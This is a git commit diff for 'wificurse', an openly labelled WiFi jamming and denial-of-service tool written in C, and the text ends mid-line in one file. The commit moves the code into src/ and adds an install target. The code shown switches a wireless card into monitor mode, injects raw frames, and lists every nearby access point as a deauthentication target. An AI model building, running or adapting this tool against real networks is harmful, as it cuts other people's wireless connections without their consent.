wificurse

wifi jamming tool
git clone git://git.2f30.org/wificurse.git
Log | Files | Refs | README | LICENSE

commit f378019409b2224485f049633094251a25cf297f
parent ed764ef65209e979b0d7fb552c883648e6e7b017
Author: oblique <psyberbits@gmail.com>
Date:   Sat Mar  3 07:25:25 +0200

move sources at src/, create make install

Diffstat:
Makefile | 18++++++++++++++++--
console.c | 136-------------------------------------------------------------------------------
console.h | 53-----------------------------------------------------
dev.c | 26--------------------------
dev.h | 38--------------------------------------
error.c | 61-------------------------------------------------------------
error.h | 44--------------------------------------------
iw.c | 209-------------------------------------------------------------------------------
iw.h | 52----------------------------------------------------
src/console.c | 136+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
src/console.h | 53+++++++++++++++++++++++++++++++++++++++++++++++++++++
src/dev.c | 26++++++++++++++++++++++++++
src/dev.h | 38++++++++++++++++++++++++++++++++++++++
src/error.c | 61+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
src/error.h | 44++++++++++++++++++++++++++++++++++++++++++++
src/iw.c | 209+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
src/iw.h | 52++++++++++++++++++++++++++++++++++++++++++++++++++++
src/wificurse.c | 219+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
src/wificurse.h | 65+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
wificurse.c | 219-------------------------------------------------------------------------------
wificurse.h | 65-----------------------------------------------------------------
21 files changed, 919 insertions(+), 905 deletions(-)
diff --git a/Makefile b/Makefile @@ -1,5 +1,15 @@ +PREFIX ?= /usr/local CC = $(CROSS_COMPILE)gcc -OBJS = wificurse.o iw.o dev.o error.o console.o +OBJS = src/wificurse.o src/iw.o src/dev.o src/error.o src/console.o + +.PHONY: clean all install + +ifneq ($(DESTDIR),) + INSTALLDIR = $(subst //,/,$(DESTDIR)/$(PREFIX)) +else + INSTALLDIR = $(PREFIX) +endif + all: wificurse @@ -9,5 +19,9 @@ wificurse: $(OBJS) %.o: %.c %.h $(CC) $(CFLAGS) -c -o $@ $< +install: all + @mkdir -p $(INSTALLDIR)/bin + cp wificurse $(INSTALLDIR)/bin/wificurse + clean: - @rm -f *~ *.o wificurse + @rm -f src/*~ src/\#*\# src/*.o *~ \#*\# wificurse diff --git a/console.c b/console.c @@ -1,136 +0,0 @@ -/* - wificurse - WiFi DoS tool - Copyright (C) 2012 oblique - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. -*/ - -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#include <time.h> -#include "dev.h" -#include "error.h" -#include "console.h" - - -void init_ap_list(struct ap_list *apl) { - apl->head = NULL; - apl->tail = NULL; -} - -void free_ap_list(struct ap_list *apl) { - struct access_point *tmp; - - tmp = apl->head; - while (apl->head != NULL) { - apl->head = apl->head->next; - free(tmp); - } - - apl->head = apl->tail = NULL; -} - -int add_or_update_ap(struct ap_list *apl, uint8_t *bssid) { - struct access_point *ap; - - ap = apl->head; - while (ap != NULL) { - if (memcmp(ap->bssid, bssid, sizeof(ap->bssid)) == 0) - break; - ap = ap->next; - } - - if (ap == NULL) { - ap = malloc(sizeof(*ap)); - if (ap == NULL) - return_error("malloc"); - - memset(ap, 0, sizeof(*ap)); - memcpy(ap->bssid, bssid, sizeof(ap->bssid)); - - if (apl->head == NULL) - apl->head = apl->tail = ap; - else { - ap->prev = apl->tail; - apl->tail->next = ap; - apl->tail = ap; - } - } - - ap->last_beacon_tm = time(NULL); - ap->deauth = 1; - ap->num_of_deauth++; - - return 0; -} - -void clear_deauth(struct ap_list *apl) { - struct access_point *ap; - - ap = apl->head; - while (ap != NULL) { - ap->deauth = 0; - ap = ap->next; - } -} - -void unlink_ap(struct ap_list *apl, struct access_point *ap) { - if (ap->prev) - ap->prev->next = ap->next; - else - apl->head = ap->next; - if (ap->next) - ap->next->prev = ap->prev; - else - apl->tail = ap->prev; -} - -void clear_scr() { - printf("\033[2J\033[1;1H"); - fflush(stdout); -} - -void update_scr(struct ap_list *apl, struct dev *dev) { - struct access_point *ap, *tmp; - - /* move cursor at colum 1 row 1 */ - printf("\033[1;1H"); - - printf("[ Channel: %3d ]\n\n", dev->chan); - printf("Deauth BSSID Number of Deauth\n\n"); - - ap = apl->head; - while (ap != NULL) { - if (time(NULL) - ap->last_beacon_tm >= 60) { - tmp = ap; - ap = ap->next; - unlink_ap(apl, tmp); - free(tmp); - continue; - } - if (ap->deauth) - printf(RED_COLOR("*")); - else - printf(" "); - printf(" %02x:%02x:%02x:%02x:%02x:%02x", ap->bssid[0], ap->bssid[1], - ap->bssid[2], ap->bssid[3], ap->bssid[4], ap->bssid[5]); - printf(" %d\n", ap->num_of_deauth); - ap = ap->next; - } - - /* from cursor to end of display */ - printf("\033[J"); - fflush(stdout); -} diff --git a/console.h b/console.h @@ -1,53 +0,0 @@ -/* - wificurse - WiFi DoS tool - Copyright (C) 2012 oblique - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. -*/ - -#ifndef CONSOLE_H -#define CONSOLE_H - -#include <stdint.h> -#include <time.h> -#include <sys/socket.h> -#include <linux/wireless.h> -#include "dev.h" - - -struct access_point { - int deauth; - unsigned int num_of_deauth; - time_t last_beacon_tm; - uint8_t bssid[IFHWADDRLEN]; - struct access_point *next; - struct access_point *prev; -}; - -struct ap_list { - struct access_point *head; - struct access_point *tail; -}; - - -void init_ap_list(struct ap_list *apl); -int add_or_update_ap(struct ap_list *apl, uint8_t *bssid); -void unlink_ap(struct ap_list *apl, struct access_point *ap); -void clear_deauth(struct ap_list *apl); -void clear_scr(); -void update_scr(struct ap_list *apl, struct dev *dev); - -#define RED_COLOR(str) "\033[1;31m" str "\033[0m" - -#endif diff --git a/dev.c b/dev.c @@ -1,26 +0,0 @@ -/* - wificurse - WiFi DoS tool - Copyright (C) 2012 oblique - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. -*/ - -#include <string.h> -#include "dev.h" - - -void init_dev(struct dev *dev) { - memset(dev, 0, sizeof(*dev)); - dev->fd = -1; -} diff --git a/dev.h b/dev.h @@ -1,38 +0,0 @@ -/* - wificurse - WiFi DoS tool - Copyright (C) 2012 oblique - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. -*/ - -#ifndef DEV_H -#define DEV_H - -#include <sys/socket.h> -#include <linux/wireless.h> - - -struct dev { - char ifname[IFNAMSIZ+1]; - int ifindex; - int fd; - int chan; - struct ifreq old_flags; - struct iwreq old_mode; -}; - - -void init_dev(struct dev *dev); - -#endif diff --git a/error.c b/error.c @@ -1,61 +0,0 @@ -/* - wificurse - WiFi DoS tool - Copyright (C) 2012 oblique - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. -*/ - -#include <stdio.h> -#include <stdarg.h> -#include <string.h> -#include "error.h" - - -struct _error { - int errnum; - int line; - char *file; - char msg[1024]; -}; - -static struct _error __thread _error; - - -void set_error(char *file, int line, int errnum, char *fmt, ...) { - va_list args; - - _error.file = file; - _error.line = line; - _error.errnum = errnum; - va_start(args, fmt); - vsnprintf(_error.msg, sizeof(_error.msg), fmt, args); - va_end(args); -} - -void print_error() { - char buf[1024]; - strerror_r(_error.errnum, buf, sizeof(buf)); - fprintf(stderr, "%s:%d: %s: %s\n", _error.file, _error.line, _error.msg, buf); -} - -void _err_msg(char *file, int line, int errnum, char *fmt, ...) { - char buf[1024], msg[1024]; - va_list args; - - va_start(args, fmt); - vsnprintf(msg, sizeof(msg), fmt, args); - va_end(args); - strerror_r(errnum, buf, sizeof(buf)); - fprintf(stderr, "%s:%d: %s: %s\n", file, line, msg, buf); -} diff --git a/error.h b/error.h @@ -1,44 +0,0 @@ -/* - wificurse - WiFi DoS tool - Copyright (C) 2012 oblique - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. -*/ - -#ifndef ERROR_H -#define ERROR_H - -#include <errno.h> - - -#define GOTERR -1 -#define ERRNODATA -2 -#define ERRAGAIN -3 - -void set_error(char *file, int line, int errnum, char *fmt, ...); -void print_error(); -void _err_msg(char *file, int line, int errnum, char *fmt, ...); - - -#define return_error(fmt, ...) \ -do { \ - set_error(__FILE__, __LINE__, errno, fmt, ##__VA_ARGS__); \ - return GOTERR; \ -} while(0) - -#define err_msg(fmt, ...) \ - _err_msg(__FILE__, __LINE__, errno, fmt, ##__VA_ARGS__); - - -#endif diff --git a/iw.c b/iw.c @@ -1,209 +0,0 @@ -/* - wificurse - WiFi DoS tool - Copyright (C) 2012 oblique - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. -*/ - -#include <stdlib.h> -#include <string.h> -#include <sys/socket.h> -#include <sys/ioctl.h> -#include <net/ethernet.h> -#include <netpacket/packet.h> -#include <linux/wireless.h> -#include "error.h" -#include "iw.h" - - -/* man 7 netdevice - * man 7 packet - */ -int iw_open(struct dev *dev) { - struct ifreq ifr; - struct iwreq iwr; - struct sockaddr_ll sll; - struct packet_mreq mreq; - int fd; - - fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); - if (fd < 0) - return_error("socket"); - dev->fd = fd; - - /* save current interface flags */ - memset(&dev->old_flags, 0, sizeof(dev->old_flags)); - strncpy(dev->old_flags.ifr_name, dev->ifname, sizeof(dev->old_flags.ifr_name)-1); - if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0) - return_error("ioctl(SIOCGIFFLAGS)"); - - /* save current interface mode */ - memset(&dev->old_mode, 0, sizeof(dev->old_mode)); - strncpy(dev->old_mode.ifr_name, dev->ifname, sizeof(dev->old_mode.ifr_name)-1); - if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0) - return_error("ioctl(SIOCGIWMODE)"); - - /* set interface down (ifr_flags = 0) */ - memset(&ifr, 0, sizeof(ifr)); - strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1); - if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) - return_error("ioctl(SIOCSIFFLAGS)"); - - /* set monitor mode */ - memset(&iwr, 0, sizeof(iwr)); - strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); - iwr.u.mode = IW_MODE_MONITOR; - if (ioctl(fd, SIOCSIWMODE, &iwr) < 0) - return_error("ioctl(SIOCSIWMODE)"); - - /* set interface up, broadcast and running */ - ifr.ifr_flags = IFF_UP | IFF_BROADCAST | IFF_RUNNING; - if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) - return_error("ioctl(SIOCSIFFLAGS)"); - - /* get interface index */ - if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) - return_error("ioctl(SIOCGIFINDEX)"); - dev->ifindex = ifr.ifr_ifindex; - - /* bind interface to socket */ - memset(&sll, 0, sizeof(sll)); - sll.sll_family = AF_PACKET; - sll.sll_ifindex = dev->ifindex; - sll.sll_protocol = htons(ETH_P_ALL); - if (bind(fd, (struct sockaddr*)&sll, sizeof(sll)) < 0) - return_error("bind(%s)", dev->ifname); - - /* enable promiscuous mode */ - memset(&mreq, 0, sizeof(mreq)); - mreq.mr_ifindex = dev->ifindex; - mreq.mr_type = PACKET_MR_PROMISC; - if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) - return_error("setsockopt(PACKET_MR_PROMISC)"); - - return 0; -} - -void iw_close(struct dev *dev) { - struct ifreq ifr; - - if (dev->fd == -1) - return; - - /* set interface down (ifr_flags = 0) */ - memset(&ifr, 0, sizeof(ifr)); - strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1); - ioctl(dev->fd, SIOCSIFFLAGS, &ifr); - /* restore old mode */ - ioctl(dev->fd, SIOCSIWMODE, &dev->old_mode); - /* restore old flags */ - ioctl(dev->fd, SIOCSIFFLAGS, &dev->old_flags); - close(dev->fd); -} - -ssize_t iw_write(int fd, void *buf, size_t count) { - unsigned char *pbuf, *pkt; - struct radiotap_hdr *rt_hdr; - struct write_radiotap_data *w_rt_data; - ssize_t r; - - pbuf = malloc(sizeof(*rt_hdr) + sizeof(*w_rt_data) + count); - if (pbuf == NULL) - return_error("malloc"); - - rt_hdr = (struct radiotap_hdr*)pbuf; - w_rt_data = (struct write_radiotap_data*)(pbuf + sizeof(*rt_hdr)); - pkt = pbuf + sizeof(*rt_hdr) + sizeof(*w_rt_data); - - /* radiotap header */ - memset(rt_hdr, 0, sizeof(*rt_hdr)); - rt_hdr->len = sizeof(*rt_hdr) + sizeof(*w_rt_data); - rt_hdr->present = RADIOTAP_F_PRESENT_RATE | RADIOTAP_F_PRESENT_TX_FLAGS; - /* radiotap fields */ - memset(w_rt_data, 0, sizeof(*w_rt_data)); - w_rt_data->rate = 2; /* 1 Mb/s */ - w_rt_data->tx_flags = RADIOTAP_F_TX_FLAGS_NOACK | RADIOTAP_F_TX_FLAGS_NOSEQ; - /* packet */ - memcpy(pkt, buf, count); - - r = send(fd, pbuf, rt_hdr->len + count, 0); - if (r < 0) { - free(pbuf); - return_error("send"); - } - - r -= rt_hdr->len; - free(pbuf); - - return r > 0 ? r : ERRAGAIN; -} - -ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) { - struct radiotap_hdr *rt_hdr; - int r; - - /* read packet */ - r = recv(fd, buf, count, 0); - if (r < 0) - return_error("recv"); - - rt_hdr = buf; - if (sizeof(*rt_hdr) >= r || rt_hdr->len >= r) - return ERRNODATA; - - *pkt = buf + rt_hdr->len; - *pkt_sz = r - rt_hdr->len; - - return r; -} - -int iw_can_change_channel(struct dev *dev) { - struct iwreq iwr; - ssize_t ret; - - /* set channel */ - memset(&iwr, 0, sizeof(iwr)); - strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); - iwr.u.freq.flags = IW_FREQ_FIXED; - iwr.u.freq.m = 1; - - if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0) - return 0; - if (ioctl(dev->fd, SIOCGIWFREQ, &iwr) < 0) - return 0; - - /* channel 1 frequency is 2412 */ - return iwr.u.freq.m == 2412; -} - -int iw_set_channel(struct dev *dev, int chan) { - struct iwreq iwr; - ssize_t ret; - - /* discard packets that are in kernel packet queue */ - ret = 0; - while (ret != -1) - ret = recv(dev->fd, NULL, 0, MSG_DONTWAIT); - - /* set channel */ - memset(&iwr, 0, sizeof(iwr)); - strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); - iwr.u.freq.flags = IW_FREQ_FIXED; - iwr.u.freq.m = chan; - if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0) - return_error("ioctl(SIOCSIWFREQ)"); - dev->chan = chan; - - return 0; -} diff --git a/iw.h b/iw.h @@ -1,52 +0,0 @@ -/* - wificurse - WiFi DoS tool - Copyright (C) 2012 oblique - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. -*/ - -#ifndef IW_H -#define IW_H - -#include <stdint.h> -#include "dev.h" - - -struct radiotap_hdr { - uint8_t version; - uint8_t pad; - uint16_t len; - uint32_t present; -} __attribute__((__packed__)); - -struct write_radiotap_data { - uint8_t rate; - uint8_t pad; - uint16_t tx_flags; -} __attribute__((__packed__)); - -#define RADIOTAP_F_PRESENT_RATE (1<<2) -#define RADIOTAP_F_PRESENT_TX_FLAGS (1<<15) -#define RADIOTAP_F_TX_FLAGS_NOACK 0x0008 -#define RADIOTAP_F_TX_FLAGS_NOSEQ 0x0010 - - -int iw_open(struct dev *dev); -void iw_close(struct dev *dev); -ssize_t iw_write(int fd, void *buf, size_t count); -ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz); -int iw_can_change_channel(struct dev *dev); -int iw_set_channel(struct dev *dev, int chan); - -#endif diff --git a/src/console.c b/src/console.c @@ -0,0 +1,136 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <time.h> +#include "dev.h" +#include "error.h" +#include "console.h" + + +void init_ap_list(struct ap_list *apl) { + apl->head = NULL; + apl->tail = NULL; +} + +void free_ap_list(struct ap_list *apl) { + struct access_point *tmp; + + tmp = apl->head; + while (apl->head != NULL) { + apl->head = apl->head->next; + free(tmp); + } + + apl->head = apl->tail = NULL; +} + +int add_or_update_ap(struct ap_list *apl, uint8_t *bssid) { + struct access_point *ap; + + ap = apl->head; + while (ap != NULL) { + if (memcmp(ap->bssid, bssid, sizeof(ap->bssid)) == 0) + break; + ap = ap->next; + } + + if (ap == NULL) { + ap = malloc(sizeof(*ap)); + if (ap == NULL) + return_error("malloc"); + + memset(ap, 0, sizeof(*ap)); + memcpy(ap->bssid, bssid, sizeof(ap->bssid)); + + if (apl->head == NULL) + apl->head = apl->tail = ap; + else { + ap->prev = apl->tail; + apl->tail->next = ap; + apl->tail = ap; + } + } + + ap->last_beacon_tm = time(NULL); + ap->deauth = 1; + ap->num_of_deauth++; + + return 0; +} + +void clear_deauth(struct ap_list *apl) { + struct access_point *ap; + + ap = apl->head; + while (ap != NULL) { + ap->deauth = 0; + ap = ap->next; + } +} + +void unlink_ap(struct ap_list *apl, struct access_point *ap) { + if (ap->prev) + ap->prev->next = ap->next; + else + apl->head = ap->next; + if (ap->next) + ap->next->prev = ap->prev; + else + apl->tail = ap->prev; +} + +void clear_scr() { + printf("\033[2J\033[1;1H"); + fflush(stdout); +} + +void update_scr(struct ap_list *apl, struct dev *dev) { + struct access_point *ap, *tmp; + + /* move cursor at colum 1 row 1 */ + printf("\033[1;1H"); + + printf("[ Channel: %3d ]\n\n", dev->chan); + printf("Deauth BSSID Number of Deauth\n\n"); + + ap = apl->head; + while (ap != NULL) { + if (time(NULL) - ap->last_beacon_tm >= 60) { + tmp = ap; + ap = ap->next; + unlink_ap(apl, tmp); + free(tmp); + continue; + } + if (ap->deauth) + printf(RED_COLOR("*")); + else + printf(" "); + printf(" %02x:%02x:%02x:%02x:%02x:%02x", ap->bssid[0], ap->bssid[1], + ap->bssid[2], ap->bssid[3], ap->bssid[4], ap->bssid[5]); + printf(" %d\n", ap->num_of_deauth); + ap = ap->next; + } + + /* clear screen from cursor to end of display */ + printf("\033[J"); + fflush(stdout); +} diff --git a/src/console.h b/src/console.h @@ -0,0 +1,53 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#ifndef CONSOLE_H +#define CONSOLE_H + +#include <stdint.h> +#include <time.h> +#include <sys/socket.h> +#include <linux/wireless.h> +#include "dev.h" + + +struct access_point { + int deauth; + unsigned int num_of_deauth; + time_t last_beacon_tm; + uint8_t bssid[IFHWADDRLEN]; + struct access_point *next; + struct access_point *prev; +}; + +struct ap_list { + struct access_point *head; + struct access_point *tail; +}; + + +void init_ap_list(struct ap_list *apl); +int add_or_update_ap(struct ap_list *apl, uint8_t *bssid); +void unlink_ap(struct ap_list *apl, struct access_point *ap); +void clear_deauth(struct ap_list *apl); +void clear_scr(); +void update_scr(struct ap_list *apl, struct dev *dev); + +#define RED_COLOR(str) "\033[1;31m" str "\033[0m" + +#endif diff --git a/src/dev.c b/src/dev.c @@ -0,0 +1,26 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#include <string.h> +#include "dev.h" + + +void init_dev(struct dev *dev) { + memset(dev, 0, sizeof(*dev)); + dev->fd = -1; +} diff --git a/src/dev.h b/src/dev.h @@ -0,0 +1,38 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#ifndef DEV_H +#define DEV_H + +#include <sys/socket.h> +#include <linux/wireless.h> + + +struct dev { + char ifname[IFNAMSIZ+1]; + int ifindex; + int fd; + int chan; + struct ifreq old_flags; + struct iwreq old_mode; +}; + + +void init_dev(struct dev *dev); + +#endif diff --git a/src/error.c b/src/error.c @@ -0,0 +1,61 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#include <stdio.h> +#include <stdarg.h> +#include <string.h> +#include "error.h" + + +struct _error { + int errnum; + int line; + char *file; + char msg[1024]; +}; + +static struct _error __thread _error; + + +void set_error(char *file, int line, int errnum, char *fmt, ...) { + va_list args; + + _error.file = file; + _error.line = line; + _error.errnum = errnum; + va_start(args, fmt); + vsnprintf(_error.msg, sizeof(_error.msg), fmt, args); + va_end(args); +} + +void print_error() { + char buf[1024]; + strerror_r(_error.errnum, buf, sizeof(buf)); + fprintf(stderr, "%s:%d: %s: %s\n", _error.file, _error.line, _error.msg, buf); +} + +void _err_msg(char *file, int line, int errnum, char *fmt, ...) { + char buf[1024], msg[1024]; + va_list args; + + va_start(args, fmt); + vsnprintf(msg, sizeof(msg), fmt, args); + va_end(args); + strerror_r(errnum, buf, sizeof(buf)); + fprintf(stderr, "%s:%d: %s: %s\n", file, line, msg, buf); +} diff --git a/src/error.h b/src/error.h @@ -0,0 +1,44 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#ifndef ERROR_H +#define ERROR_H + +#include <errno.h> + + +#define GOTERR -1 +#define ERRNODATA -2 +#define ERRAGAIN -3 + +void set_error(char *file, int line, int errnum, char *fmt, ...); +void print_error(); +void _err_msg(char *file, int line, int errnum, char *fmt, ...); + + +#define return_error(fmt, ...) \ +do { \ + set_error(__FILE__, __LINE__, errno, fmt, ##__VA_ARGS__); \ + return GOTERR; \ +} while(0) + +#define err_msg(fmt, ...) \ + _err_msg(__FILE__, __LINE__, errno, fmt, ##__VA_ARGS__); + + +#endif diff --git a/src/iw.c b/src/iw.c @@ -0,0 +1,209 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#include <stdlib.h> +#include <string.h> +#include <sys/socket.h> +#include <sys/ioctl.h> +#include <net/ethernet.h> +#include <netpacket/packet.h> +#include <linux/wireless.h> +#include "error.h" +#include "iw.h" + + +/* man 7 netdevice + * man 7 packet + */ +int iw_open(struct dev *dev) { + struct ifreq ifr; + struct iwreq iwr; + struct sockaddr_ll sll; + struct packet_mreq mreq; + int fd; + + fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (fd < 0) + return_error("socket"); + dev->fd = fd; + + /* save current interface flags */ + memset(&dev->old_flags, 0, sizeof(dev->old_flags)); + strncpy(dev->old_flags.ifr_name, dev->ifname, sizeof(dev->old_flags.ifr_name)-1); + if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0) + return_error("ioctl(SIOCGIFFLAGS)"); + + /* save current interface mode */ + memset(&dev->old_mode, 0, sizeof(dev->old_mode)); + strncpy(dev->old_mode.ifr_name, dev->ifname, sizeof(dev->old_mode.ifr_name)-1); + if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0) + return_error("ioctl(SIOCGIWMODE)"); + + /* set interface down (ifr_flags = 0) */ + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1); + if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) + return_error("ioctl(SIOCSIFFLAGS)"); + + /* set monitor mode */ + memset(&iwr, 0, sizeof(iwr)); + strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); + iwr.u.mode = IW_MODE_MONITOR; + if (ioctl(fd, SIOCSIWMODE, &iwr) < 0) + return_error("ioctl(SIOCSIWMODE)"); + + /* set interface up, broadcast and running */ + ifr.ifr_flags = IFF_UP | IFF_BROADCAST | IFF_RUNNING; + if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) + return_error("ioctl(SIOCSIFFLAGS)"); + + /* get interface index */ + if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) + return_error("ioctl(SIOCGIFINDEX)"); + dev->ifindex = ifr.ifr_ifindex; + + /* bind interface to socket */ + memset(&sll, 0, sizeof(sll)); + sll.sll_family = AF_PACKET; + sll.sll_ifindex = dev->ifindex; + sll.sll_protocol = htons(ETH_P_ALL); + if (bind(fd, (struct sockaddr*)&sll, sizeof(sll)) < 0) + return_error("bind(%s)", 